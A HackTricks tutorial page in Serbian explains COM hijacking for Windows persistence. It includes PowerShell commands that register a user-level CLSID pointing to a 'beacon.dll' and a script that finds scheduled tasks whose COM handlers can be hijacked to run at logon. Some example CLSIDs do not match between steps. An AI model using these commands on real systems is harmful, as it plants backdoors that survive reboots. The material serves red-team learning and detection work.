COM Hijacking

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Pretraga nepostojećih COM komponenti

Kako vrednosti HKCU mogu biti modifikovane od strane korisnika, COM Hijacking se može koristiti kao trajni mehanizam. Korišćenjem procmon-a lako je pronaći tražene COM registre koji ne postoje, a koje napadač može kreirati da bi ostao prisutan. Filteri:

  • Operacije RegOpenKey.

  • Gde je Rezultat IME NIJE PRONAĐENO.

  • I Putanja se završava sa InprocServer32.

Kada ste odlučili koju nepostojeću COM komponentu želite da preuzmete, izvršite sledeće komande. Budite oprezni ako odlučite da preuzmete COM komponentu koja se učitava svakih nekoliko sekundi, jer to može biti preterano.

New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"

Hijackable Task Scheduler COM komponente

Windows zadaci koriste prilagođene okidače za pozivanje COM objekata i zbog toga što se izvršavaju putem Task Scheduler-a, lakše je predvideti kada će biti pokrenuti.

# Prikazivanje COM CLSID-ova
$Tasks = Get-ScheduledTask

foreach ($Task in $Tasks)
{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
$usersSid = "S-1-5-32-545"
$usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }

if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "Naziv zadatka: " $Task.TaskName
Write-Host "Putanja zadatka: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
}
}
}

# Primer izlaza:
<strong># Naziv zadatka:  Primer
</strong># Putanja zadatka:  \Microsoft\Windows\Primer\
# CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
# [više sličnih...]</code></pre>

Proveravajući izlaz, možete odabrati onaj koji će se izvršiti **svaki put kada se korisnik prijavi** na primer.

Sada pretražujemo CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** u **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** i u HKLM i HKCU, obično ćete primetiti da vrednost ne postoji u HKCU.
```bash
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"

Name           Property
----           --------
InprocServer32 (default)      : C:\Windows\system32\some.dll
ThreadingModel : Both

# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize

Name                                   Property
----                                   --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler

# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.

Zatim možete samo kreirati unos HKCU i svaki put kada se korisnik prijavi, vaša zadnja vrata će biti aktivirana.

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated